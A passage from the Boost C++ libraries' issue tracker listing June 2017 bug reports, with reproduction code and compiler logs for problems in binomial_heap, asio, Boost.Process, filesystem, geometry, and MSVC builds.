/usr/include/boost/archive/detail/iserializer.hpp:540:19: runtime error: reference binding to misaligned address 0x000000000002 for type 'struct S', which requires 4 byte alignment
0x000000000002: note: pointer points here
<memory cannot be printed>
/usr/include/boost/archive/detail/iserializer.hpp:541:67: runtime error: reference binding to misaligned address 0x000000000002 for type 'const struct S', which requires 4 byte alignment
0x000000000002: note: pointer points here
<memory cannot be printed>

Note how it only occurs sometimes, probably depending on what memory address happened to have been returned.

#13089: Boost::binomial_heap Sanity check error

jun.kudo@… — Tue, 20 Jun 2017 18:00:21 GMT

Configured with BOOST_HEAP_SANITYCHECKS turned on.

Binomial heap hits an assertion failure (BOOST_HEAP_ASSERT(top_element == found_top)) when pushing nodes with the same priority.

#include "boost/heap/binomial_heap.hpp"
typedef boost::heap::binomial_heap<int> Heap;
int main(int argc, char* argv[]) {
  Heap heap0;
  heap0.push(1);
  heap0.push(1);
}

#13088: Boost::binomial_heap Merge memcheck error

jun.kudo@… — Tue, 20 Jun 2017 17:46:01 GMT

Binomial heap merge routine reads from uninitialized memory in the attached example.

#include "boost/heap/binomial_heap.hpp"
typedef boost::heap::binomial_heap<int> Heap;
int main(int /*argc*/, char* /*argv*/[]) {
  Heap heap0;
  size_t heap0_size = 3;
  size_t max_range = 100;
  for (size_t ix = 0; ix < heap0_size; ++ix) {
    heap0.push(rand() % max_range);
  }
  Heap heap1;
  size_t heap1_size = 5;
  for (size_t ix = 0; ix < heap1_size; ++ix) {
    heap1.push(rand() % max_range);
  }
  heap0.merge(heap1);
}

I believe the error stems from the case identified by line 699 in binomial_heap.hpp. If the last node of trees is erased in this line (as is the case in this example), this_iterator now points to trees.end(). However, for this case, it will follow the goto statement and start another iteration which will cause the function to again read from this_iterator.

#13087: Boost::binomial_heap Merge error

jun.kudo@… — Tue, 20 Jun 2017 17:27:54 GMT

Configured with BOOST_HEAP_SANITYCHECKS turned on. Binomial heap hits an assertion failure during the second merge routine in the attached example.

#include "boost/heap/binomial_heap.hpp"
typedef boost::heap::binomial_heap<int> Heap;
int main(int argc, char* argv[]) {
  Heap heap0;
  size_t heap0_size = 13;
  size_t max_range = 100;
  for (size_t ix = 0; ix < heap0_size; ++ix) {
    heap0.push(rand() % max_range);
  }
  Heap heap1;
  size_t heap1_size = 5;
  for (size_t ix = 0; ix < heap1_size; ++ix) {
    heap1.push(rand() % max_range);
  }
  heap0.merge(heap1);
  Heap heap2;
  size_t heap2_size = 1;
  for (size_t ix = 0; ix < heap2_size; ++ix) {
    heap2.push(rand() % max_range);
  }
  heap2.merge(heap0);
}

When heap1 is merged into heap0, the underlying forest incorrectly contains two 2-degree trees. This error is later caught in a sanity assertion check when heap0 is merged into heap2.

I believe the error stems the case identified by line 668 in binomial_heap.hpp. When the two root degrees are equal and a carry tree with degree less than both exist, the carry tree is inserted into trees. However, after this insertion, the this_iterator is incorrectly iterated forward which causes the algorithm to behave incorrectly. In the case provided above, this causes the merge algorithm to skip the degree-2 / degree-2 merge between this and rhs, and instead causes rhs's degree-2 tree to be simple inserted into trees.

#13086: Exception Throw -> { boost::asio::ip::tcp::aceptor * acceptor->open(); }

ya.tarakanov.ilya@… — Tue, 20 Jun 2017 15:01:48 GMT

asio.h
#include "boost/asio.hpp"
struct SNetGlobal
{
	static boost::asio::io_service * GetStcIOService();
	static bool RunIOServiceInThreads(int nCountThr = 1);
};
asio.cpp
#include "asio.h"
#include <vector>
#include <thread>
static boost::asio::io_service * s_io_service = NULL;
static std::vector<std::thread> s_thread_pool;
io_service * SNetGlobal::GetStcIOService()
{
	if (!s_io_service)
	{
		s_io_service = new io_service;
	}
	return s_io_service;
}
bool SNetGlobal::RunIOServiceInThreads(int nCountThr)
{
	while (nCountThr--)
	{
		s_thread_pool.emplace_back([=] { s_io_service->run(); });
	}
	return true;
}
listener.h
	class CUCListener
	{
	public:
		void Start();
		void OnAccept(const boost::system::error_code & ec);
	private:
		tcp::acceptor * m_pAcceptor;
		tcp::socket * m_pSocket;
	};
listener.cpp
#include "asio.h"
#include "listener.h"
void CUCListener ::Start()
{
tcp::endpoint endpoint(tcp::v4(), 1974);
m_pAcceptor = new tcp::aceptor(*SNetGlobal::GetStcIOService());
m_pAcceptor->open(endpoint.protocol());
m_pAcceptor->set_option(tcp::acceptor::reuse_address(true));
m_pAcceptor->bind(endpoint);
m_pAcceptor->listen();
m_pAcceptor->async_accept(*m_pSocket, boost::bind(&CUCListener::OnAccept, this, boost::asio::placeholders::error));
SNetGlobal::RunIOServiceInThreads();
}
void CUCListener::OnAccept(const boost::system::error_code & ec)
{
	std::cout << "Accept Success" << std::endl;
}

Hi, sometimes throw exception and function CUCListener::OnAccept not called when connected

socket_ops.ipp

socket_type socket(int af, int type, int protocol,
    boost::system::error_code& ec)
{
  clear_last_error();
#if defined(BOOST_ASIO_WINDOWS) || defined(__CYGWIN__)
  socket_type s = error_wrapper(::WSASocketW(af, type, protocol, 0, 0,
        WSA_FLAG_OVERLAPPED), ec); // Exception Throw
  if (s == invalid_socket)
    return s;
...
}

#13085: Bad command line escaping for Windows shell

Tue, 20 Jun 2017 08:53:02 GMT

I'm trying to launch a command with the windows shell:

call "%VS140COMNTOOLS%\vsvars32.bat"

so the source is: (i have to escape the double-quotes and antislash)

std::string getCommandLine() {
  return "call \"%VS140COMNTOOLS%\\vsvars32.bat\""
}
bp::child child(getCommandLine(), bp::shell);

The problem is that Boost is double-escaping the double-quotes, and the windows shell does not understand that:

Error: '\"C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7\Tools\\vsvars32.bat\"' is not recognized as an internal or external command, operable program or batch file.
The problem resides here :
boost/process/detail/windows/basic_cmd.hpp :35 :48 :72
I just had to comment these lines to fix the command line and spawn the shell with the correct args.

#13084: boost::filesystem::exists returns false on existing pathnames on OSX systems

fabrice.ducos@… — Mon, 19 Jun 2017 20:50:40 GMT

boost::filesystem::exists returns false on existing pathnames, surprisingly. This behaviour could be observed at least on OSX El Capitan (10.11.6) with Boost 1.64.0 On Linux, the same code works fine.

For confirmation and reproduction, I provide a self-contained code that displays the output of three tests of file existence. It expects a pathname as its first (and only) argument.

Here are the outputs that it gives me on Linux and OSX (when applied to an existing pathname):

Linux:
reply of boost::filesystem::exists: true
reply of stat_exists: true
reply of stream_exists: true

OSX:
reply of boost::filesystem::exists: false
reply of stat_exists: true
reply of stream_exists: true

#13083: msvc c++14 permissive- unrecognizable template declaration

Mon, 19 Jun 2017 12:21:43 GMT

MS has come out with /permissive- (read more: https://blogs.msdn.microsoft.com/vcblog/2016/11/16/permissive-switch/)

This resulted in these errors:

1>C:\Dev\Couloir\3pLibs\Boost\boost_1_64_0\boost/typeof/msvc/typeof_impl.hpp(125): error C2988: unrecognizable template declaration/definition (compiling source file Wt\WGLWidget.C) 1>C:\Dev\Couloir\3pLibs\Boost\boost_1_64_0\boost/typeof/msvc/typeof_impl.hpp(133): note: see reference to class template instantiation 'boost::type_of::msvc_extract_type<ID,T>' being compiled (compiling source file Wt\WGLWidget.C) 1>C:\Dev\Couloir\3pLibs\Boost\boost_1_64_0\boost/typeof/msvc/typeof_impl.hpp(125): error C2143: syntax error: missing ';' before '<' (compiling source file Wt\WGLWidget.C) 1>C:\Dev\Couloir\3pLibs\Boost\boost_1_64_0\boost/typeof/msvc/typeof_impl.hpp(125): error C2913: explicit specialization; 'boost::type_of::id2type_impl' is not a specialization of a class template (compiling source file Wt\WGLWidget.C) 1>C:\Dev\Couloir\3pLibs\Boost\boost_1_64_0\boost/typeof/msvc/typeof_impl.hpp(125): error C2059: syntax error: '<' (compiling source file Wt\WGLWidget.C) 1>C:\Dev\Couloir\3pLibs\Boost\boost_1_64_0\boost/typeof/msvc/typeof_impl.hpp(126): error C2334: unexpected token(s) preceding '{'; skipping apparent function body (compiling source file Wt\WGLWidget.C)

I searched and found this: https://svn.boost.org/trac10/ticket/4593

So, I defined _MSC_EXTENSIONS

But I got the same errors.

Any help would be greatly appreciated.

#13082: Add a way to identify the executable as a boost-test

jan.wilmans@… — Mon, 19 Jun 2017 08:39:36 GMT

I propose to standardise a command-line option to identify the executable as a certain kind of test: I will propose this to boost.test and google.test as well. My personal usecase is the identification of tests for BoostTestUi (the name is somewhat misleading, it is a test-runner for google-, boost-, catch- and nunit- tests, see github/BoostTestUi.)

Currently this requires re-compilation of the test with a special header, I would like to prevent the need for that.

--test-runner-identification framework: boost.test version: x.x

--test-runner-identification framework: google.test version: x.x

--test-runner-identification framework: catch.test version: x.x

This will allow test-runners to identify the test-framework used to build the test. That way the test-runners can know what command-line parameters are available to do things like:

list all the tests
run specific tests

finally, to let the user attach a debugger to the test this kind of code could added in the main(): (for catch that may already exist, I did not check)

notice that this option can have any name, we need only 1 standardised option --test-runner-identification, because once we know what we're dealing with, we can just use the respective command-line options.

if (arg == "--gui-wait") {

std::cout << "#waiting" << std::endl; std::getchar();

}

#13081: Xpressive crashes in release if auto keyword used.

Sun, 18 Jun 2017 21:29:46 GMT

This code.

#include "boost/xpressive/xpressive.hpp"

int main() {

using namespace boost::xpressive;

auto scheme = (s1 = +_w) >> ":"; auto host_ipv6 = (s2 = ('[' >> +(xdigit | ':') >> ']')); cregex uri_re = scheme >> host_ipv6;

cmatch m; if( regex_match( "http://[fe::]", m, uri_re ) ) {

[first, last) pair of iterators, with implicit operator string() std::string protocol = m[1]; protocol = protocol;

}

return 0;

}

Crashes with access violation to random address. Visual Studio 2015 RELEASE builds only (for both 32/64 bit builds).

#13078: boost::geometry::intersection between a polygon and a box produces incorrect results

Fri, 16 Jun 2017 18:24:56 GMT

I am intersecting a polygon with a box and with a polygon of the same points as the box. The result from box intersection is incorrect - it is a large as the original polygon.

Here is the code:

#include <iostream>`
#include <boost/geometry.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
namespace bg = boost::geometry;
namespace bgm = bg::model;
typedef double base_type;
typedef bgm::d2::point_xy<base_type> point_type;
typedef bgm::polygon<point_type> polygon_type;
typedef bgm::multi_polygon<polygon_type> multipolygon_type;
int main() {
std::vector<point_type> points {
    {7.99922500000000127329e+02, 1.04990090625000011642e+04},
    {7.99922500000000013642e+02, 9.99905624999999963620e+03},
    {3.99961250000000006821e+02, 9.99905624999999963620e+03},
    {3.99961250000000006821e+02, 1.04990090625000011642e+04},
    {7.99922500000000127329e+02, 1.04990090625000011642e+04},
};
polygon_type poly;
bg::assign_points(poly, points);
bgm::box<point_type> box(
    {5.99941874999999981810e+02, 1.02490326562500013097e+04},
    {7.99922500000000013642e+02, 1.04990090625000011642e+04}
);
std::vector<point_type> box_points {
    {5.99941874999999981810e+02, 1.02490326562500013097e+04},
    {5.99941874999999981810e+02, 1.04990090625000011642e+04},
    {7.99922500000000013642e+02, 1.04990090625000011642e+04},
    {7.99922500000000013642e+02, 1.02490326562500013097e+04},
    {5.99941874999999981810e+02, 1.02490326562500013097e+04},
};
polygon_type box2;
bg::assign_points(box2, box_points);
multipolygon_type out;
bg::intersection(poly, box, out);
std::cout << bg::area(out) << " " << bg::wkt(out) << std::endl;
multipolygon_type out2;
bg::intersection(poly, box2, out2);
std::cout << bg::area(out2) << " " <<  bg::wkt(out2) << std::endl;
return 0;
}

And this is the output:

199962 MULTIPOLYGON(((599.942 10499,799.923 10499,799.923 9999.06,399.961 9999.06,399.961 10499,599.942 10499)))
49990.4 MULTIPOLYGON(((799.923 10249,599.942 10249,599.942 10499,799.923 10499,799.923 10249)))

Is this expected?

#13076: Compilation error on MSVC2015+ on base_from_member used in a class with __declspec(dllexport)

Thu, 15 Jun 2017 15:54:17 GMT

Consider the following code:

//#define BOOST_NO_CXX11_VARIADIC_TEMPLATES
#include <boost/utility/base_from_member.hpp>
class __declspec(dllexport) Foo : public boost::base_from_member<int>
{
public:
};

It fails to compile with the following error:

example.cpp
/opt/compiler-explorer/libs/boost_1_64_0\boost/utility/base_from_member.hpp(135): error C2061: syntax error: identifier 'T'
/opt/compiler-explorer/libs/boost_1_64_0\boost/utility/base_from_member.hpp(135): note: This diagnostic occurred in the compiler generated function 'boost::base_from_member<int,0>::base_from_member(T &&...) noexcept(<expr>)'
/opt/compiler-explorer/libs/boost_1_64_0\boost/utility/base_from_member.hpp(136): error C2056: illegal expression
/opt/compiler-explorer/libs/boost_1_64_0\boost/utility/base_from_member.hpp(136): note: This diagnostic occurred in the compiler generated function 'boost::base_from_member<int,0>::base_from_member(T &&...) noexcept(<expr>)'
/opt/compiler-explorer/libs/boost_1_64_0\boost/utility/base_from_member.hpp(135): error C2660: 'operator new': function does not take 2 arguments
/opt/compiler-explorer/libs/boost_1_64_0\boost/utility/base_from_member.hpp(135): note: while compiling class template member function 'boost::base_from_member<int,0>::base_from_member<,void>(void) noexcept(<expr>)'
/opt/compiler-explorer/libs/boost_1_64_0\boost/utility/base_from_member.hpp(135): error C2056: illegal expression
Microsoft (R) C/C++ Optimizing Compiler Version 19.10.25017 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.
Compiler exited with result code 2

See https://godbolt.org/g/CqFg8t

If I add the BOOST_NO_CXX11_VARIADIC_TEMPLATES define, the issue goes away. The issue affects both MSVC 2015 and MSVC 2017.

Even if the underlying cause is the compiler error (to be checked), the issue should at least be prevented by proper compiler version detection.

This affects other boost libraries relying on base_from_member, like Boost.Iostreams.

#13075: gzip_decompressor cannot be pushed to filtering_stream if provided with input_seekable

hellohee — Thu, 15 Jun 2017 14:46:12 GMT

There is a ticket regarding making filtering stream seekable: https://svn.boost.org/trac/boost/ticket/2449 However, the solution doesn't apply to situations where gzip decompressor is pushed.

boost::iostreams::filtering_stream<boost::iostreams::input_seekable> instream; boost::iostreams::file_source file(filename, std::ios_base::in | std::ios_base::binary); instream.push(boost::iostreams::gzip_decompressor()); -> fails HERE instream.push(file);

#13074: boost/mpi/detail/mpi_datatype_primitive.hpp still includes boost/serialization/detail/get_data.hpp although get_data.hpp is no longer there

anonymous — Wed, 14 Jun 2017 15:33:44 GMT

Not sure how this passed the build & test before release?

#13073: boost tokenizer_functions explicit char_separator() ctor does not initialize m_output_done

jim.king@… — Wed, 14 Jun 2017 13:35:50 GMT

This was identified in a Coverity scan. I checked the development tip in GitHub (https://github.com/boostorg/tokenizer/blob/develop/include/boost/token_functions.hpp) and I did not see a fix for this issue.

explicit char_separator()

: m_use_ispunct(true),

m_use_isspace(true),

CID 25905 (#1 of 1): Uninitialized scalar field (UNINIT_CTOR)2. uninit_member: Non-static class member m_output_done is not initialized in this constructor nor in any functions that it calls.

m_empty_tokens(drop_empty_tokens) { }

#13072: boost::geometry::intersection different results for CCW and CW

kle@… — Wed, 14 Jun 2017 10:57:24 GMT

Hello,

when calculating the intersection between these two polygons the results differ dependent on the orientation (CW vs CCW).

#include <boost/geometry/geometry.hpp>
#include <boost/geometry/geometries/polygon.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
int main(int argc, char* argv[])
{
  typedef boost::geometry::model::polygon<boost::geometry::model::d2::point_xy<double>, true,  false >  boost_polygon_CW_Open;
  typedef boost::geometry::model::polygon<boost::geometry::model::d2::point_xy<double>, false, false > boost_polygon_CCW_Open;
  const std::string strPoly1( "POLYGON((986.53314901320903 603.61376367962623, 1014.6804499149767 602.74037774442763, 1018.1411735073581 623.97665453539310, 990.14493850604447 624.49725628790509))" );
  const std::string strPoly2( "POLYGON((986.77183669558929 603.60635741124452, 998.79457181965154 603.23330253835934, 1002.2613711877982 623.79581100129735, 990.30090761267468 624.02156931285253))" );
  boost_polygon_CW_Open p1_cw_open, p2_cw_open;
  boost::geometry::read_wkt(strPoly1, p1_cw_open);
  boost::geometry::read_wkt(strPoly2, p2_cw_open);
  boost::geometry::correct(p1_cw_open); // reverts order of points
  boost::geometry::correct(p2_cw_open); // reverts order of points
  std::vector<boost_polygon_CW_Open> output_cw;
  boost::geometry::intersection(p1_cw_open, p2_cw_open, output_cw); // correct: output_cw.front equals poly2
  boost_polygon_CCW_Open p1_ccw_open, p2_ccw_open;
  boost::geometry::read_wkt(strPoly1, p1_ccw_open);
  boost::geometry::read_wkt(strPoly2, p2_ccw_open);
  boost::geometry::correct(p1_ccw_open); // no modification
  boost::geometry::correct(p2_ccw_open); // no modification
  std::vector<boost_polygon_CCW_Open> output_ccw;
  boost::geometry::intersection(p1_ccw_open, p2_ccw_open, output_ccw); // incorrect: output_cw is empty!!!
  return 0;
}

#13066: boost_1_64_0 build error

anonymous — Wed, 14 Jun 2017 01:43:45 GMT

when i build boost with command:

bootstrap.bat

b2 --toolset=msvc-14.0 architecture=x86 address-model=64 link=static --build-type=complete --with-system --with-thread --with-date_time --with-filesystem --with-serialization --with-atomic

then, in my project i use #include "boost/date_time.hpp"

i get the error...,the right file should be libboost_date_time-vc140-mt-1_64.lib

isn't it?

严重性代码说明项目文件行禁止显示状态错误 LNK1104 无法打开文件“libboost_date_time-vc140-mt-1_60.lib” Tool E:\Design\Work\Tool\LINK 1

#13065: boost_1_64_0 build error

anonymous — Wed, 14 Jun 2017 01:43:00 GMT

when i build boost with command:

bootstrap.bat

b2 --toolset=msvc-14.0 architecture=x86 address-model=64 link=static --build-type=complete --with-system --with-thread --with-date_time --with-filesystem --with-serialization --with-atomic

then, in my project i use #include "boost/date_time.hpp"

i get the error...,the right file should be libboost_date_time-vc140-mt-1_64.lib

isn't it?

严重性代码说明项目文件行禁止显示状态错误 LNK1104 无法打开文件“libboost_date_time-vc140-mt-1_60.lib” Tool E:\Design\Work\Tool\LINK 1

#13063: error C2668: 'boost::next' : ambiguous call to overloaded function

Roxana — Sat, 10 Jun 2017 02:12:42 GMT

Hello, I want to build the ARtoolkit libary ARvrml from the source with Visual Studio 2013 on Windows 10. When compiling the project 'ARvrml' I get the above mentionel error message : error C2668: 'boost::next' : ambiguous call to overloaded function Since I compile a premade library, I don't know how to help the problem. I use ARToolkit 5.3.2, the code is accessible here: https://github.com/artoolkit/artoolkit5 Furthermore I use the boost library provided by OpenVRML 0.16.6 (windows).

Thanks for your help, Best Regards, Roxana

#13062: LNK2019 Unresolved External Symbol in VS2015 when using Boost python3 and numpy3 libraries on Windows

oystein@… — Fri, 09 Jun 2017 10:03:35 GMT

I am getting linker errors when trying to use the numpy3 library on Windows:

test_boost_python.obj : error LNK2019: unresolved external symbol "class boost::python::numpy::dtype __cdecl boost::python::numpy::detail::get_float_dtype<32>(void)" (??$get_float_dtype@$0CA@@detail@numpy@python@boost@@YA?AVdtype@123@XZ) referenced in function "public: static class boost::python::numpy::dtype __cdecl boost::python::numpy::detail::builtin_dtype<float,0>::get(void)" (?get@?$builtin_dtype@M$0A@@detail@numpy@python@boost@@SA?AVdtype@345@XZ)

Small test program to reproduce:

#include <boost/python.hpp>
#include <boost/python/numpy.hpp>
namespace bp = boost::python;
namespace np = boost::python::numpy;
np::ndarray test_make_zeros(int rows, int cols)
{
    return np::zeros(bp::make_tuple(rows, cols), np::dtype::get_builtin<float>());
}
BOOST_PYTHON_MODULE(test_boost_numpy)
{
    np::initialize();
    bp::def("test_make_zeros", test_make_zeros);
}

I have downloaded and built Boost 1.64 on Windows by using the following command:

b2 --build-type=complete address-model=64 toolset=msvc stage

I added a user-config.jam file in my home directory to tell Boost where to find Python 3:

using python : 3.6 : c:\\anaconda3\\python ;

I am using the following CMakeLists.txt file:

cmake_minimum_required(VERSION 3.8)
project(test_boost_python)
set(BOOST_ROOT "C:/Boost-1.64")
SET(Boost_ADDITIONAL_VERSIONS 1.64)
find_package(PythonLibs 3.6 REQUIRED)
include_directories(${PYTHON_INCLUDE_DIRS})
find_package(Boost REQUIRED COMPONENTS python3 numpy3)
include_directories(${Boost_INCLUDE_DIRS})
link_directories(${Boost_LIBRARY_DIRS})
add_library(test_boost_python SHARED test_boost_python.cpp)
set_target_properties(test_boost_python PROPERTIES PREFIX "" SUFFIX ".pyd")
set_target_properties(test_boost_python PROPERTIES DEFINE_SYMBOL "BOOST_ALL_NO_LIB")
target_link_libraries(test_boost_python ${PYTHON_LIBRARIES} ${Boost_LIBRARIES})

My boost::python library is given the name boost_python3-vc140-mt-1_64.lib and boost::numpy ends up as boost_numpy3-vc140-mt-1_64.lib when linking against Python 3.6.

I had to turn on BOOST_ALL_NO_LIB. If not, the compiler looks for boost_python-vc140-mt-1_64.lib boost_numpy-vc140-mt-1_64.lib (which is under the wrong name, with a missing number 3 after the library names; possibly also a bug on Windows?)

#13059: Getting attached error when trying to use property_tree header

yogav2009@… — Thu, 08 Jun 2017 09:59:03 GMT

/usr/local/include/boost/mpl/vector/aux_/at.hpp: At global scope: /usr/local/include/boost/mpl/vector/aux_/at.hpp:31: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/at.hpp:34: error: template argument 1 is invalid /usr/local/include/boost/mpl/vector/aux_/at.hpp:35: error: ‘template<class _Tp, class _Alloc> class std::vector’ used without template parameters /usr/local/include/boost/mpl/vector/aux_/at.hpp:39: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/at.hpp:41: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_at_impl’ /usr/local/include/boost/mpl/vector/aux_/at.hpp:41: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/at.hpp:41: error: template argument 1 is invalid /usr/local/include/boost/mpl/vector/aux_/at.hpp:42: error: expected ‘::’ before ‘{’ token /usr/local/include/boost/mpl/vector/aux_/at.hpp:42: error: expected class-name before ‘{’ token /usr/local/include/boost/mpl/vector/aux_/at.hpp:48: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/at.hpp:52: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_at’ /usr/local/include/boost/mpl/vector/aux_/at.hpp:52: error: expected a constant of type ‘int’, got ‘vector’ In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:18,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/front.hpp:31: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/front.hpp:32: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_at’ /usr/local/include/boost/mpl/vector/aux_/front.hpp:32: error: expected a constant of type ‘int’, got ‘vector’ In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:19,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/push_front.hpp:30: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/push_front.hpp:32: error: type/value mismatch at argument 2 in template parameter list for ‘template<class T, class Base, int at_front> struct boost::mpl::v_item’ /usr/local/include/boost/mpl/vector/aux_/push_front.hpp:32: error: expected a type, got ‘vector’ In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:20,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/pop_front.hpp:30: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/pop_front.hpp:32: error: type/value mismatch at argument 1 in template parameter list for ‘template<class Base, int at_front> struct boost::mpl::v_mask’ /usr/local/include/boost/mpl/vector/aux_/pop_front.hpp:32: error: expected a type, got ‘vector’ In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:21,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/push_back.hpp:30: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/push_back.hpp:32: error: type/value mismatch at argument 2 in template parameter list for ‘template<class T, class Base, int at_front> struct boost::mpl::v_item’ /usr/local/include/boost/mpl/vector/aux_/push_back.hpp:32: error: expected a type, got ‘vector’ In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:22,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/pop_back.hpp:30: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/pop_back.hpp:32: error: type/value mismatch at argument 1 in template parameter list for ‘template<class Base, int at_front> struct boost::mpl::v_mask’ /usr/local/include/boost/mpl/vector/aux_/pop_back.hpp:32: error: expected a type, got ‘vector’ In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:23,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/back.hpp:31: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/back.hpp:34: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/back.hpp:34: error: expected template-argument before ‘::’ token /usr/local/include/boost/mpl/vector/aux_/back.hpp:34: error: expected ‘>’ before ‘::’ token /usr/local/include/boost/mpl/vector/aux_/back.hpp:34: error: template argument 1 is invalid /usr/local/include/boost/mpl/vector/aux_/back.hpp:34: error: ‘<expression error>::type’ has not been declared /usr/local/include/boost/mpl/vector/aux_/back.hpp:34: error: expected template-argument before ‘value’ /usr/local/include/boost/mpl/vector/aux_/back.hpp:34: error: expected ‘>’ before ‘value’ /usr/local/include/boost/mpl/vector/aux_/back.hpp:35: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_at’ /usr/local/include/boost/mpl/vector/aux_/back.hpp:35: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/back.hpp:35: error: template argument 2 is invalid /usr/local/include/boost/mpl/vector/aux_/back.hpp:36: error: expected ‘::’ before ‘{’ token /usr/local/include/boost/mpl/vector/aux_/back.hpp:36: error: expected class-name before ‘{’ token In file included from /usr/local/include/boost/mpl/vector/aux_/vector0.hpp:22,

from /usr/local/include/boost/mpl/vector/aux_/clear.hpp:18, from /usr/local/include/boost/mpl/vector/vector0.hpp:24, from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/iterator.hpp:33: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:40: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_at’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:40: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:42: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:62: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:65: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_iter’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:65: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:65: error: template argument 1 is invalid /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:71: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:74: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_iter’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:74: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:74: error: template argument 1 is invalid /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:80: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:84: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_iter’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:84: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:84: error: template argument 1 is invalid /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:93: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:97: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_iter’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:97: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:97: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_iter’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:97: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:97: error: template argument 1 is invalid /usr/local/include/boost/mpl/vector/aux_/iterator.hpp:97: error: template argument 2 is invalid In file included from 